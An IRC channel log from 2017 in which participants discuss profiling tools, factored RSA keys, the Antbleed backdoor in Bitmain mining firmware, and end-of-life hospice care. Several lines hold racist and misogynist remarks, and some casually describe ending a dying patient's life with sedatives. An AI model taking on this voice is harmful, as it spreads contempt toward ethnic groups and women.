1648052;1493214374;shinohai;I'm rather willing to bet 99% of these "dommes" would be flipped in an instant on arrival to mp's harem. 1648053;1493214385;mircea_popescu;how would such arrival work ? 1648054;1493214466;mircea_popescu;no, i expect something more along the lines of http://trilema.com/2011/deci-de-revelion-acum-niste-ani/ ; ie providing they somehow landed in they'd identify a situation according to their own mental furnishings, which'd have nothing much to do with the actual situation, then proceed to "Strategize" on that basis and the girls would toy with her for as long as that's funny before chewing her up and spitting her out. 1648055;1493214511;shinohai;That would be even *more* entertaining. 1648056;1493214548;mircea_popescu;possibru 1648057;1493214636;shinohai;http://archive.is/oOYD8 <<< Supports segwit, hates scams. Noted. 1648058;1493214795;mircea_popescu;shinohai lol "like they did with etc". 1648059;1493214796;mircea_popescu;dorks. 1648060;1493215001;shinohai;If only anyone actually gave a shit about Litecoin. 1648061;1493215008;mircea_popescu;asciilifeform anyway, either approach discussed is ridiculous. i don't need valgrind to emulate a processor and then guess how long things' take ; i don't want gprof's sampling either. just awk the codebase to add a printf after each instruction spitting out time and recompile. that's it. 1648062;1493215023;mircea_popescu;shinohai well, if they keep talking about it as if someone does, certainly someone one day will. 1648063;1493215028;mircea_popescu;financial domination!!11 1648064;1493215058;shinohai;Something, something, LTC 1648065;1493215061;shinohai;I'm rich. 1648066;1493215274;asciilifeform;mircea_popescu: good luck parsing cpp grammar (yes, all of it...) in awk. 1648067;1493215309;mircea_popescu;it still uses semicolons yes ? 1648068;1493215317;asciilifeform;think. 1648069;1493215332;mircea_popescu;ask me to do something i'm good at! 1648070;1493215349;asciilifeform;can't put printf in , e.g., declarations. 1648071;1493215366;mircea_popescu;aren't those in .h ? 1648072;1493215402;asciilifeform;not exclusively. 1648073;1493215426;mircea_popescu;heh. 1648074;1493215519;mircea_popescu;anyway, point still remains, the way to do this is printf time&line each line. 1648075;1493215564;mircea_popescu;awk oneliner may not be available, but in point of fact "find the lines" is a ~solved problem, even for borland ide. 1648076;1493215583;asciilifeform;sadly, again nope 1648077;1493215595;asciilifeform;see callgraph thread. 1648078;1493215602;mircea_popescu;eh!!! 1648079;1493215665;mircea_popescu;in other DOH, "people who write bad code will misuse profilers also" ~yosefk. 1648080;1493215721;asciilifeform;mircea_popescu decided ahead of time to barf -- and did so 1648081;1493215734;mircea_popescu;no i was quoting this as a right and proper observation. 1648082;1493215739;mircea_popescu;wasn't a protest. 1648083;1493215755;asciilifeform;i disagree that there is anything fundamentally misleading in the linked piece. 1648084;1493215758;mircea_popescu;i think he's making an important point. 1648085;1493215785;mircea_popescu;asciilifeform i'm not saying there is ; i am saying i don't care for either method of profiling he discusses for this usecase. 1648086;1493215800;asciilifeform;aah 1648087;1493215851;mircea_popescu;if you're interested in either gprof or valgrind's callgrind, or both or whatever, his thing is useful. but i'm not. specifically because bitcoin is too large and slow to be run on valgrind-simulated cpu, and moreover if we could do that we wouldn't have any of the problems we currently approach anymore. 1648088;1493215859;mircea_popescu;and gprof is just not useful, with the sampling and etc. 1648089;1493215902;asciilifeform;valgrind doesn't simulate cpu 1648090;1493215919;asciilifeform;it does approx what mircea_popescu asked for 1648091;1493215928;mircea_popescu;afaik it does. 1648092;1493215935;asciilifeform;and result is 500x slowdown. 1648093;1493215977;asciilifeform;mircea_popescu: doesn't simulate cpu -- read the src/docs 1648094;1493215986;asciilifeform;but does insert probes. 1648095;1493215992;mircea_popescu;dude... 1648096;1493216012;mircea_popescu;first fucking line. "cachegrind simulates" 1648097;1493216030;asciilifeform;cachegfind 1648098;1493216035;asciilifeform;Grr 1648099;1493216037;mircea_popescu;http://valgrind.org/docs/manual/cg-manual.html < 1648100;1493216041;asciilifeform;cachegrind 1648101;1493216068;mircea_popescu;yes. it is a valgrind plugin is it not. 1648102;1493216080;mircea_popescu;"valgrind [when used for this purpose through this module] simulates" etc. 1648103;1493216094;asciilifeform;this yes 1648104;1493221532;mircea_popescu;http://logs.minigame.bz/2017-04-26.log.html#t15:22:21 << perhaps of republican interest. 1648105;1493221532;lobbesbot;Logged on 2017-04-26 15:22:21: puts the whole "only fate of average mankind is harem slavery" rhetoric quite into focus. 1648106;1493222745;phf;gprof interrupts the program every few ms and saves the backtrace, the whole family is called "sampling profilers" because it only knows of functions that it saw during the interrupt. functions with runtime < interrupt ms show up with wrong estimates 1648107;1493222784;phf;valgrind i take it from what asciilifeform is saying instruments the code, in an equivalent of putting printf after every statement 1648108;1493222792;mircea_popescu;phf functions with any runtime that average about the interval PER CALL show up all over the place. 1648109;1493222793;phf;cachegrind is something else entirely :o 1648110;1493222811;mircea_popescu;cachegrind is a valgrind plugin eh. 1648111;1493222843;phf;right 1648112;1493223559;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/yBR9C/?raw=true 1648113;1493223559;jhvh1;shinohai: The operation succeeded. 1648114;1493225548;deedbot;http://phuctor.nosuchlabs.com/gpgkey/4D1E6E444832FBBE0092F39A459F03112F0D8F32637F1DC8B8245A86C16578B7 << Recent Phuctorings. - Phuctored: 1778...3099 divides RSA Moduli belonging to '81.170.222.10 (ssh-rsa key from 81.170.222.10 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (h-81-170-222-10.NA.corp.bahnhof.se. SE D) 1648115;1493225549;deedbot;http://phuctor.nosuchlabs.com/gpgkey/4D1E6E444832FBBE0092F39A459F03112F0D8F32637F1DC8B8245A86C16578B7 << Recent Phuctorings. - Phuctored: 1413...1427 divides RSA Moduli belonging to '81.170.222.10 (ssh-rsa key from 81.170.222.10 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (h-81-170-222-10.NA.corp.bahnhof.se. SE D) 1648116;1493225549;deedbot;http://phuctor.nosuchlabs.com/gpgkey/308C79ED32BB1D28E5F59EC4ADB2E56B1ED16614D3B4C737238FC3D169AF94B0 << Recent Phuctorings. - Phuctored: 15 divides RSA Moduli belonging to 'Robert J. Hansen; Robert J. Hansen ; ' 1648117;1493225550;deedbot;http://phuctor.nosuchlabs.com/gpgkey/DB096A7B64B9F4A9CE82785D9AF80E50E2AAE4BCC607BF6BFDACDD92BF65873C << Recent Phuctorings. - Phuctored: 15 divides RSA Moduli belonging to 'PGP Global Directory Verification Key; ' 1648118;1493225550;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5377DC3F52C67DB02FB2F4CBC7391DDD471AF66B9AFF37F4A5FB782434DC1748 << Recent Phuctorings. - Phuctored: 15 divides RSA Moduli belonging to 'Shell Arkell ; ' 1648119;1493225551;deedbot;http://phuctor.nosuchlabs.com/gpgkey/49636881FF5C8C4B95D9CA4B2AB73D5C13B35FF5D9AB0DA41B9E8EC1231F33E5 << Recent Phuctorings. - Phuctored: 15 divides RSA Moduli belonging to '46.45.142.230 (ssh-rsa key from 46.45.142.230 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (voip.istanbuldc.com. TR) 1648120;1493225665;shinohai;lol @ turkish one 1648121;1493225713;asciilifeform;in other lulz, 'Korean Bitcoin Exchange Yapizon Loses 3,831 BTC Due To Hack' 1648122;1493225750;asciilifeform;1) collect btc from chumps 2) 'get hacked' 3) profit 1648123;1493225755;asciilifeform;apparently works same today as in 2011. 1648124;1493225809;shinohai;^ will add to shitcoin roundup 1648125;1493225829;asciilifeform;voip.istanbuldc.com << this and 1,001 other voip crapolades. gotta wonder why usg is so fixated on voice telephony. 1648126;1493225902;shinohai;Must have fingers in all teh telcom pies. (See upcoming Qntra for more telcom lulz ) 1648127;1493227204;BingoBoingo;ty shinohai 1648128;1493227268;deedbot;http://qntra.net/2017/04/g-inflation-continues-in-fiat-rf-allocation-with-austin-texas-getting-fifth-g/ << Qntra - G Inflation Continues In Fiat RF Allocation With Austin, Texas Getting Fifth G 1648129;1493227315;shinohai;ty BingoBoingo I have another one in limbo 1648130;1493227347;BingoBoingo;good luck 1648131;1493238930;asciilifeform;in other lulz, https://v.teknik.io/v/MlDDG << 'FUCKGOATS unboxing' ( pankkake ! ) 1648132;1493238968;asciilifeform; if I knew there would be goatse, I would have bought earlier 1648133;1493238970;asciilifeform;lulzy. 1648134;1493240818;pete_dushenski;http://archive.is/yzAMq << "Grayscale Investments plans to launch the first-ever private fund focused on ethereum classic" 1648135;1493240827;shinohai;http://www.antbleed.com/ lel 1648136;1493240864;asciilifeform;ahahahahahaha 1648137;1493240869;pete_dushenski;i badly wish silbert's latest fund were a late apr1 joke. just seems too cruel to be true! 1648138;1493240883;pete_dushenski;https://grayscale.co/ethereum-classic-investment-trust/ 1648139;1493240960;pete_dushenski;"Annual Fee: 3% (includes Development Contribution)*" 1648140;1493240960;asciilifeform;http://btcbase.org/log/2014-07-08#749741 << see also 1648141;1493240960;a111;Logged on 2014-07-08 23:51 asciilifeform: if you can stop all miners but yours - for a given interval - you can plunder blocks at far below the expected energy cost 1648142;1493240983;asciilifeform;+ http://btcbase.org/log/2014-07-08#749717 1648143;1493240983;a111;Logged on 2014-07-08 23:48 asciilifeform: if you can arrange for, say, the entire crop of 'bfl' units to spin their wheels fruitlessly during known time intervals, your own miners (presumably exempt) can be scheduled to run then and precisely then 1648144;1493240992;pete_dushenski;"* The Sponsor intends to direct up to one-third of the Annual Fee, for the first three years of the Trust's operations, towards initiatives that support development, marketing, and community activities of the Ethereum Classic Network." 1648145;1493241030;shinohai;haha I was searching for that tidbit in the logs asciilifeform, thought you had said this previously. 1648146;1493241095;asciilifeform;for ze l0gz: 'The firmware checks-in with a central service randomly every 1 to 11 minutes. Each check-in transmits the Antminer serial number, MAC address and IP address. Bitmain can use this check-in data to cross check against customer sales and delivery records making it personally identifiable. The remote service can then return "false" which will stop the miner from mining.' 1648147;1493241124;phf;beautiful call 1648148;1493241151;asciilifeform;'backdoor allows Bitmain to shut off a large section of the global hashrate (estimated to be at up to 70% of all mining equipment). It can also be used to directly target specific machines or customers.' 1648149;1493241242;pete_dushenski;"Even without Bitmain being malicious, the API is unauthenticated and would allow any MITM, DNS or domain hijack to shutdown Antminers globally. Additionally the domain in question DNS is hosted by Cloudflare making it trivially subjected to government orders and state control. 1648150;1493241245;pete_dushenski;" 1648151;1493241274;pete_dushenski;tragicomedy gold 1648152;1493241347;jhvh1;No one could have predicted! 1648153;1493241789;shinohai;Apparently there is remote code execution exploitation in this backdoor as well: "unexploitable out-of-buffer read access in if(strstr(rec,"false")) as rec may not be zero-ended if 1024 bytes are received." 1648154;1493241919;*;shinohai goes to shithub to see what else might actually be in there 1648155;1493246653;asciilifeform;pete_dushenski et al : there is no particular reason to suppose that subj is the ~only~ back door, also. 1648156;1493247345;shinohai;BingoBoingo: http://archive.is/Jhv2t 1648157;1493247386;BingoBoingo;lulzies, should have refused service. This is a srs warning to funeral home insurers 1648158;1493247476;asciilifeform;BingoBoingo: http://btcbase.org/log/2014-10-19#883002 << oblig 1648159;1493247476;a111;Logged on 2014-10-19 03:18 asciilifeform: BingoBoingo: 500 lb. body causes fire at Henrico crematory << one time i spent an evening reading cremator manuals (for no particular reason. happened to stroll by a modern crematory on evening walk in new street, was curious.) every manufacturer has special instructions for the peculiarly fat 'clients.' 1648160;1493247638;BingoBoingo;Aha, yes. This keeps happening enough that the only final solution here is refusing service. This must be driven by insurers unless Obama care has perverted the meaning of insurance in the post-health industry too. 1648161;1493247655;asciilifeform;or cremate in open air pyre, like hindus. 1648162;1493247667;asciilifeform;( where moar fuel --> merrier ) 1648163;1493247687;asciilifeform;or on a barge, like viking. 1648164;1493247692;asciilifeform;many possibilities. 1648165;1493247741;BingoBoingo;No, only solution is force the obest to slow cremations on manure pile. 1648166;1493247843;shinohai;If burned in barged, what ensures complete combustion so the remaining fats don't seep into the water supply and pollute ? 1648167;1493247849;shinohai;*in barge 1648168;1493247926;asciilifeform;shinohai: ever boil water in a paper cup ? 1648169;1493247945;shinohai;Can't say I have. 1648170;1493247949;asciilifeform;try it some time 1648171;1493247965;mircea_popescu;does microwave do it ? 1648172;1493247988;asciilifeform;mircea_popescu: yes, but not interestingly. 1648173;1493248002;asciilifeform;point is that it won't burn until water boils out. 1648174;1493248060;pete_dushenski;pete_dushenski: it'd be more surprising if it were the only backdoor. like ferrari factory authorised odometer rollback (this recently too!) would be surprising if it were only sketchy business practice that $RACE engaged in. 1648175;1493248067;pete_dushenski;lol ^ asciilifeform 1648176;1493248133;pete_dushenski;i could at least ping one of my own sockpuppets eh 1648177;1493248223;mircea_popescu;http://btcbase.org/log/2017-04-26#1648125 << because empire of idiots. actually believes bottom is best. 1648178;1493248223;a111;Logged on 2017-04-26 16:57 asciilifeform: voip.istanbuldc.com << this and 1,001 other voip crapolades. gotta wonder why usg is so fixated on voice telephony. 1648179;1493248647;mircea_popescu;http://btcbase.org/log/2017-04-26#1648148 << trivially bypassed, though. i expect more of a "checking if anyone's awake" sort of thing. 1648180;1493248647;a111;Logged on 2017-04-26 21:12 asciilifeform: 'backdoor allows Bitmain to shut off a large section of the global hashrate (estimated to be at up to 70% of all mining equipment). It can also be used to directly target specific machines or customers.' 1648181;1493248758;asciilifeform;every booby is 'trivially bypassed' AFTER YOU FOUND IT lol 1648182;1493248771;mircea_popescu;it's not so hard to fucking notice your box is dialing out. 1648183;1493248793;asciilifeform;afaik nobody till now ever admitted to having noticed. fwiw. 1648184;1493248803;mircea_popescu;now imagine instead of "false" it actually wanted the time signed. 1648185;1493248812;mircea_popescu;well yes, mining business is secretive. 1648186;1493248847;asciilifeform;imho biggest surprise is that there still is such a thing as a not fully vertically-integrated mining op. 1648187;1493248858;mircea_popescu;this is doubtful. 1648188;1493248904;asciilifeform;it'd appear to follow trivially from the noose item ( why would ant sabotage ~own~ iron. ) 1648189;1493248924;asciilifeform;unless subj concerned a stolen/otherwise 'with legs' item. which is possible, i have nfi. 1648190;1493249871;mircea_popescu;they're chinese, they don't make sense. but anyway. 1648191;1493250293;mircea_popescu;"My own experience here is depressing – nobody, not even the smartest folks, is willing to read anything unless they came specifically to read. If they came for any other purpose, forget it. When you're a tutorial, you can tell things to people and they listen. When you're an error message, people read you to the extent necessary to make you go away but no further. And when you're a warning, people simply ignore you. It suc 1648192;1493250293;mircea_popescu;ks to be a warning. People also don't expect things to be complicated enough to warrant a tutorial, so they won't allocate time specifically to read one, on any topic, for any reason. They're wrong, of course, but they won't ever find that out, to the best extent of their abilities." 1648193;1493250300;mircea_popescu;^yossi, paraphrased slightly. 1648194;1493250351;mircea_popescu;he's pessimistic about big red warnings, i'm pessimistic about the ~possiblity~ of an english-language culture. 1648195;1493250830;mod6;werd to that 1648196;1493251167;mircea_popescu;its hard 1648197;1493256189;shinohai;http://archive.is/oub2t "Järlström is now suing the state board .... arguing that it's unconstitutional to prevent someone from doing math without the government's permission" 1648198;1493256960;mod6;lol 1648199;1493257171;mod6;maga, tell me more. 1648200;1493257179;mod6;burn. it. all. 1648201;1493257368;*;shinohai hands mod6 some matches.... 1648202;1493257835;trinque;sorry; someone already filed a patent on combustion. 1648203;1493257851;trinque;hope you've got an army of lawyers for that match. 1648204;1493258239;mircea_popescu;pretty cool name though 1648205;1493258309;mod6;ya 1648206;1493258315;mod6;typical usg insanity tho. 1648207;1493258352;mod6;http://btcbase.org/log/2015-01-27#993638 1648208;1493258352;a111;Logged on 2015-01-27 04:51 mod6: We regret to inform you that your republic has termites. 1648209;1493258403;mircea_popescu;anyway, this has all the makings of adventure 1648210;1493258792;mod6;it certainly seems like it. 1648211;1493258848;mod6;i mean, i had a recent foray into all kinds of nonsense since my mom got sick. the whole thing is just ... b0rk3d. fubar. 1648212;1493258880;mod6;the chance for honest reform came and went at least 20 years ago. probably more like 40. 1648213;1493258902;mod6;now there is only "hope it implodes" 1648214;1493258957;BingoBoingo;I dun think anyone gave Oregon as it presently exists much hope for much mercy when The Great Again comes 1648215;1493259046;mod6;yah, we see this type of feckless, coercive shit everwhere you look these days 1648216;1493259061;trinque;try hiring someone in this environment. 1648217;1493259078;mod6;none of this is limited to Oregon. At least they have their heads screwed on straight with "Right-to-Die" or whatever. 1648218;1493259079;mircea_popescu;trinque slave economy only. 1648219;1493259080;trinque;or selling the most trivial of "tech" (read: some fuckin website) 1648220;1493259131;mod6;mircea_popescu: yah, certainly seems to be headed in the direction like your #eulora log link earlier. 1648221;1493259131;BingoBoingo;shinohai: Are you still interested in doing TMSR Journal of Whorticulture? 1648222;1493259148;mircea_popescu;such a great name. 1648223;1493259156;mod6;heheh 1648224;1493259170;shinohai;BingoBoingo: I am. Still in research phase though :/ 1648225;1493259184;trinque;mod6: yeah but the "right to die" thing grows out of trying to cut socialist costs 1648226;1493259187;mircea_popescu;mod6 it's just... outside of extremely exceptional cases, the bar for trust needed to hire someone far exceeds the bar of trust needed to have them live with your other girls. it's just nonsense like that. 1648227;1493259220;mircea_popescu;basically the talktards have managed to give away EVERY.SINGLE.GAIN of three centuries of industrialization. 1648228;1493259255;BingoBoingo;shinohai: About how long until a live site spins up? Some agriCulture news is dropping tomorrow and Qntra isn't the right venue. Can go on personal blog if the journal is not yet publishing, but... content will be available if the venue exists. 1648229;1493259255;mod6;trinque: well, whatever the impetus, it still beats "you must suffer because you can't self-terminate. life is precious(tm)" 1648230;1493259261;*;mircea_popescu went to business school here today, spent five minutes listening in on what evidently was the graduation project of some 4th year kid. do you know what he had ? 1648231;1493259266;trinque;mod6: certainly. 1648232;1493259293;mircea_popescu;he had a succession of slides (uncredited) depicting mostly obscure sportsmen and singers. he wanted to know what the audience thought they had in common. 1648233;1493259300;mircea_popescu;his answer ? exito. (success). 1648234;1493259322;BingoBoingo;!~bash 4 1648235;1493259322;jhvh1;Last 4 lines bashed and pending publication 1648236;1493259325;mod6;haha 1648237;1493259328;mircea_popescu;his project was a loose talk on the topic of "entrepreneurialness as a sport", and it was through and through pre-literare juju worship. 1648238;1493259341;mircea_popescu;"these here bears have the fighting spirit, i want to be great warrior, i worship bear totem" 1648239;1493259374;mircea_popescu;white man used to have a literate culture built atop a capitalist society etcetera etcetera. the fucking africans have won, it's all gone by now. 1648240;1493259385;mircea_popescu;five centuries building, fifty years squandering. 1648241;1493259415;shinohai;BingoBoingo: I'd say publish for now on personal blog, will republish on new site when I get the kinks out. 1648242;1493259469;mod6;mircea_popescu: just reckless beyond all comprehension. quite interesting times, these are. 1648243;1493259474;asciilifeform;http://btcbase.org/log/2017-04-27#1648225 << organ market. the belgian scum admitted to it quite recently. 1648244;1493259474;a111;Logged on 2017-04-27 02:13 trinque: mod6: yeah but the "right to die" thing grows out of trying to cut socialist costs 1648245;1493259489;trinque;ah, profit center even. 1648246;1493259501;asciilifeform;'unhappened' , of course. 1648247;1493259515;mircea_popescu;what else are they good for ? 1648248;1493259527;mircea_popescu;and plox don't tell me "creativity" thx. 1648249;1493259551;asciilifeform;'if you can, you must' (tm)(r) 1648250;1493259659;asciilifeform;http://btcbase.org/log/2017-04-27#1648229 << folx were cashing in their chips long before 'legal', the 'reform' is about something very much else. see above. 1648251;1493259659;a111;Logged on 2017-04-27 02:14 mod6: trinque: well, whatever the impetus, it still beats "you must suffer because you can't self-terminate. life is precious(tm)" 1648252;1493259735;mod6;well, i only use that as an exception 1648253;1493259799;mod6;it recently felt pretty fucking awful to watch my mom wither away infront of my eyes while suffering. not allowed to die, she doesn't have permission. 1648254;1493259816;mod6;i'd have killed her myself if they'd let me. 1648255;1493259840;mircea_popescu;mod6 afaik the white man custom is, doctor prescribes whole month of sedatives, she accidentally takes them. 1648256;1493259857;mod6;it ~basically~ comes down to that. 1648257;1493259868;mircea_popescu;well how'd you have it work ? 1648258;1493259876;mod6;BUT, you have to have insurance or whatever to get that. 1648259;1493259880;trinque;whatever else, the old/infirm without question belong to whatever next of kin 1648260;1493259889;trinque;if they're not still paying own way 1648261;1493259898;mod6;they were all like. "OMG SHE DOESN"T HAVE 24 HOUR CARE AT HOME?!?!?" 1648262;1493259909;mod6;"NO. WE TOLD YOU THIS 69,000 YOU COCKSUCKERS." 1648263;1493259913;mircea_popescu;trinque and the king belongs to the kingdom and what else ? 1648264;1493259922;mod6;"WHAT IF SHE WONDERS OFF AND FREEZES TO DEATH?!" 1648265;1493259924;BingoBoingo;mircea_popescu: Other traditional solution is "making comfortable" where narcotics perscribed for pain increases in steps until amount is incompatible with life 1648266;1493259928;mod6;"WHAT IF?!" 1648267;1493259951;mircea_popescu;mod6 she could walk off ? 1648268;1493259960;mircea_popescu;BingoBoingo aha, bout same. 1648269;1493259971;mod6;they made us take her home when we said that we were not going to treat her cancer. 1648270;1493259994;mircea_popescu;the hospital you mean ? 1648271;1493259996;BingoBoingo;mircea_popescu: aha, just the color of "medical necessity" 1648272;1493260006;trinque;mircea_popescu: king would still be paying own way, eh? 1648273;1493260019;mircea_popescu;who counts the paying ? 1648274;1493260023;mod6;yeah, the hospital. 1648275;1493260027;*;mod6 burns with rage 1648276;1493260046;mircea_popescu;do hookers pay their own way ? subquestion : i know this woman who pays a dude to rent from her, and also has to suck him off. is she paying her way ? 1648277;1493260048;mod6;the entire thing i went through in the last 90 days just affirms to me how truly fucked up this shit is. 1648278;1493260067;mircea_popescu;mod6 the idea being that they're in the business of treating, gotta be treatin' or not there. 1648279;1493260088;mod6;which is fine. everyone is obviously entitled to make a profit. 1648280;1493260095;mod6;that's not the problem. 1648281;1493260103;mircea_popescu;im not even sure it's the profit, prolly shortage of specialist beds. 1648282;1493260119;mircea_popescu;i don't think i've ever seen a jurisdiction where oncology beds weren't short. ever. 1648283;1493260120;mod6;they then turned around on us and tried to get the state involved saying that we were being neglectful of a vulnerable adult. 1648284;1493260132;mircea_popescu;kinda says it's own sad story about the state of postindustrial world, this. 1648285;1493260152;trinque;well that's the whole thing, as I see it 1648286;1493260153;mod6;she had 4 days fully covered. and about 40% of the other three days... mind, she was only at home for 20 days. 1648287;1493260168;trinque;adult incapable of self-care belongs to either gutter or own family 1648288;1493260177;mod6;anyway, it never came to anything, because then we got her into a charity hospice. 1648289;1493260181;*;trinque incidentally had a family friend die of same type of cancer last week 1648290;1493260189;mod6;but if it wasn't for that! then what? 1648291;1493260199;mod6;sorry trinque :[ 1648292;1493260203;mircea_popescu;sucks. 1648293;1493260244;mircea_popescu;mod6 yeah, it's an iffy thing all around. most hospices are a) insanely expensive considering what that same dollar'd get you in say vegas and b) really worse conditions than ~anything seen in civilian housing. 1648294;1493260272;mod6;yah for sure. this place she went was actually pretty damn good, considering, free. 1648295;1493260287;mod6;but man, $5k up front to walk in the door for any non-free place. 1648296;1493260291;mircea_popescu;got lucky, i'd say. 1648297;1493260299;asciilifeform;usg is involved -- so naturally $1k bedpans, $200k bedpan-emptying-specialists. 1648298;1493260303;mircea_popescu;from what i hear it's actuallyh on the mend, was significantly worse cca 2000s, but anyway. 1648299;1493260305;BingoBoingo; yeah, the hospital. << Grandpa had to move from hospital with excellent rehab program and pallative care to "speciallist" rehabilitation nursing facility, and the day he made the move was when his post-stroke decline became unrecoverable. 1648300;1493260308;mod6;and then it's like something like $5k a week for room/board after that + medical expenses. 1648301;1493260330;mod6;mircea_popescu: we got uber lucky. that's the point. you shound't have to get lucky when something like this happens. 1648302;1493260338;mircea_popescu;mod6 20k a week gets you the penthouse at the taj mahal + your personal dozen hookers. 1648303;1493260356;mircea_popescu;and they wanna tell me one sixth of a fat woman and some moldy upholstery is "market competitive" ? 1648304;1493260367;mircea_popescu;20k a month, i mean. 1648305;1493260390;mod6;yah its crazy 1648306;1493260394;asciilifeform;mmno 20k/mo doesn't even get you a 4star suite in chicago. 1648307;1493260404;mircea_popescu;... 1648308;1493260410;mod6;BingoBoingo: sorry to hear that :/ 1648309;1493260424;BingoBoingo;Small town hospital had room service and pastoral service with nuns coming through for communion every day. "Rehabilitation nursing" facility had "fall alarms" allegedly addressed eventually. 1648310;1493260448;mod6;Anyway, i shake my head. I mentioned it during the whole thing a month or so ago. It was total chaos at best. 1648311;1493260482;mircea_popescu;asciilifeform the peninsula is ready to give you teh grand deluxe room at 500/night. half price for a whole month. call them. 1648312;1493260499;mod6;BingoBoingo: sounds familiar. my mom hated the alarms. she set them off one day, few days before she died, and fought two young nurses over it. 1648313;1493260507;mod6;punched one in the face. 1648314;1493260509;BingoBoingo;Anyways, lesson from the story is get terminal in small town with excellent Catholic hospital and have the good luck to die before discharge. 1648315;1493260515;asciilifeform;mircea_popescu: y'sure you aren't operating with pre-2001 prices ? 1648316;1493260532;mircea_popescu;http://chicago.peninsula.com/en/room-types/grand-deluxe-room 1648317;1493260542;mircea_popescu;i just got a bunch, so you happen to have hit hot cache. 1648318;1493260580;mircea_popescu;500sqft being larger than about half of the "apartments" "engineers" dwell in, at that. 1648319;1493260589;asciilifeform;lol , mircea_popescu on expedition to 'windy city' ?! 1648320;1493260602;BingoBoingo;mod6: The hospital did have the alarms, but they were SILENT in the patient room for sanity promotion reasons. 1648321;1493260611;mircea_popescu;not personally. 1648322;1493260637;mod6;BingoBoingo: see, now that makes some sense. 1648323;1493260675;asciilifeform;mircea_popescu: i liked 'palmer house', ~same rate. gilded age relic. 1648324;1493260724;mod6;Ladies and Gentlemen, I just don't know. Mr. Popescu has it, we were lucky. And it feels like such a shitty, actually, horrible way to have to feel about such a damn tragedy. 1648325;1493260728;mircea_popescu;i will note that chicago is terrible market, badly developed. las vegas is hugely oversupplied, you can get terrifying deals (if they know you) 1648326;1493260742;mircea_popescu;mod6 i can see what you mean. 1648327;1493260777;asciilifeform;mircea_popescu: you can always 'get terrifying deals if they know you', even from penguins in antarctica. 1648328;1493260787;mircea_popescu;there is also that. 1648329;1493260817;BingoBoingo;Also hospital had morning and evening visits with physical and occupational therapists. Patriarch managed to get back to walking ~100 ish feet. First day at nursing facility somehow collarbone was broken and no narcotics were administered for days because "bad for recovery". Yes narcotics are bad for recovery generally, but also 91 years old is 91 years old and entire right side brain ischemia is entire right side brain ischemia. 1648330;1493260834;mircea_popescu;tsk 1648331;1493260846;mircea_popescu;that's pretty terrible. 1648332;1493260862;asciilifeform;mod6: 1 day of wasting away in cheapo hospital costs 5k, and y'know why? it's so that the lizards can get your house, supposing you owned one. 1648333;1493260880;BingoBoingo;Anyways the nursing profession's ineptitude was enabled by the unhealthy relationship my mom's sister has with human mortality 1648334;1493260899;mod6;asciilifeform: oh, it's certainly an unspoken truth 1648335;1493260930;mod6;BingoBoingo: sorry. yeah, that sounds awful. 1648336;1493260958;mircea_popescu;"nursing profession" much like the various other "social science" experts, social workers etc are about as qualified as their weight in earthworms. 1648337;1493260975;mod6;you know the damnable misery of the whole thing? i woudln't have let my dog go through the same suffering. 1648338;1493260986;mircea_popescu;kinda the problem with all the makework positions, "teachers", "daycare specialists" and on it goes. 1648339;1493261006;mircea_popescu;mod6 no, i think they're on top of that. pretty sure i saw pet hospice advertised. 1648340;1493261036;mod6;<+mircea_popescu> "nursing profession" much like the various other "social science" experts, social workers etc are about as qualified as their weight in earthworms. << it was the social workers that were the ones who raised questions on us, after countless conversations about post-hospital care. 1648341;1493261048;mod6;these people will not go unaccounted for. 1648342;1493261073;mircea_popescu;there's basically this large-is (~14%) subset of population with no certain skillset and vastly inflated impression of self-importance. 1648343;1493261073;BingoBoingo; kinda the problem with all the makework positions, "teachers", "daycare specialists" and on it goes. << If the "makework" doesn't include lift and move materials as needed for paying customers it's more welfare 1648344;1493261088;mod6;mircea_popescu: anyway, as far as dog, 100 years ago; your dog got cancer? you take it out and shoot the poor thing. 1648345;1493261108;mod6;same with horse, etc. 1648346;1493261126;mircea_popescu;BingoBoingo it is, the problem with it is that 10% or less of the payola is paid out as bezzle usd ; the remaineder 90% or more is paid out as pats on the back, empty and baseless congratulatory verbiage and generally speaking psychotronic noise. 1648347;1493261160;mircea_popescu;average "social worker" makes 500k a year, of which 35k paid in cash and 465k worth of ass blowing. 1648348;1493261187;mircea_popescu;teacher makes like a million (27k in cash or w/e it was) 1648349;1493261215;BingoBoingo;Around here teacher makes about 45k-120k 1648350;1493261222;BingoBoingo;before ass blowing 1648351;1493261236;mircea_popescu;what, 10k a month ? when the fuck did that happen 1648352;1493261250;mod6;ugh, the social worker cretins. 1648353;1493261274;mod6;actually, so 7 were horrible. one helped me get my mom into the charity hospice. 1648354;1493261285;BingoBoingo;mircea_popescu: When the teachers stopped retiring because muh pension and the union "length of service" raises kept happening 1648355;1493261289;mod6;but not until i basically lost my marbles about the whole thing. 1648356;1493261305;mircea_popescu;ahaha holy shit look at that, avg illinois suburban teacher made 80k 1648357;1493261320;mod6;a nurse was browbeating me about a bunch of shit... and then I just went off the deep end. 1648358;1493261325;mircea_popescu;dude, and srsly the inflation is single digit ? 1648359;1493261354;mod6;80k 1648360;1493261359;mircea_popescu;mod6 this isn't your way of telling us you got six dead hookers in your shed is it ? 1648361;1493261365;mod6;wtf is happening. 1648362;1493261369;trinque;mod6: every narcissistic whore I ever knew in highschool went into nursing school, just about 1648363;1493261386;mircea_popescu;trinque better than beautician, neh. + she loves children. 1648364;1493261403;mod6;mircea_popescu: lol, no. i did't have to hurt anybody or anything. i just lost my cool. 1648365;1493261407;BingoBoingo;80k is mostly inflated by Chicago where the cost of living is in line with the rest of the state but for some reason state employees generally get 10-20k a year more for "cost of living" 1648366;1493261416;mod6;i stayed pretty pro throughout the entire affair, actually. 1648367;1493261433;mod6;that was the only time that I needed to give someone a piece of my mind. 1648368;1493261456;mod6;strangely, it was effective. typically, you start barking shit at someone and you dig your own grave. 1648369;1493261465;BingoBoingo;$400/mo apartment is possible in City of Chicago, then not really again until you go to the south pole of Illinois 1648370;1493261526;mod6;trinque: werd. and from what I can tell, because of the nursing unions etc, they basically run the place now. 1648371;1493261564;mod6;doctors are there, but nurses run the show. 1648372;1493261578;shinohai;Dammit, I know I got my nursing degree in here somewhere: 